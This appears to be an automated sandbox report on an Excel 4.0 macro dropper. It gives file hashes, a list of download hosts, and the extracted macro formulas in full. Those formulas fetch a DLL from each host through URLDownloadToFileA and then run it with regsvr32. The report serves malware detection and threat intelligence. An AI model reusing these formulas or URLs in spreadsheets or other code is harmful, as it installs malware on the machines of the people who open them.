General

  • Target

    ea7ccea83d8f034c4cab4c77596ac33d4cc1bdea6e3d28941d4f25a972f99171

  • Size

    20KB

  • Sample

    241120-mylz7swepk

  • MD5

    38b6a836c738ea11159e8f2b1ccee9ab

  • SHA1

    803279e14c3a195212730b57496989647c26b4ab

  • SHA256

    ea7ccea83d8f034c4cab4c77596ac33d4cc1bdea6e3d28941d4f25a972f99171

  • SHA512

    be554646dc240132445efcfbfba351b4a2af391e03eb544e50278b39a1d548300ab9cd20d90ff0ff4258b963fc90747bfb5202c88642a2e28268a960d7f410de

  • SSDEEP

    384:mKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:mKYINmo4FLyCBn9kC+xbLA

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

http://bramynapilota.com.pl/wp-admin/NHk/

http://brwconsultoria.com.br/img/Vl0i9o/

http://buildershyper.co.za/s6Oe/

http://business-tailor.nl/ww12/Kz7GjU/

https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/

xlm40.dropper

http://festival.artdialog.ch/contact/RGhcwH4DRBM/

xlm40.dropper

http://bramynapilota.com.pl/wp-admin/NHk/

xlm40.dropper

http://brwconsultoria.com.br/img/Vl0i9o/

Targets

    • Target

      ea7ccea83d8f034c4cab4c77596ac33d4cc1bdea6e3d28941d4f25a972f99171

    • Size

      20KB

    • MD5

      38b6a836c738ea11159e8f2b1ccee9ab

    • SHA1

      803279e14c3a195212730b57496989647c26b4ab

    • SHA256

      ea7ccea83d8f034c4cab4c77596ac33d4cc1bdea6e3d28941d4f25a972f99171

    • SHA512

      be554646dc240132445efcfbfba351b4a2af391e03eb544e50278b39a1d548300ab9cd20d90ff0ff4258b963fc90747bfb5202c88642a2e28268a960d7f410de

    • SSDEEP

      384:mKAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:mKYINmo4FLyCBn9kC+xbLA

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks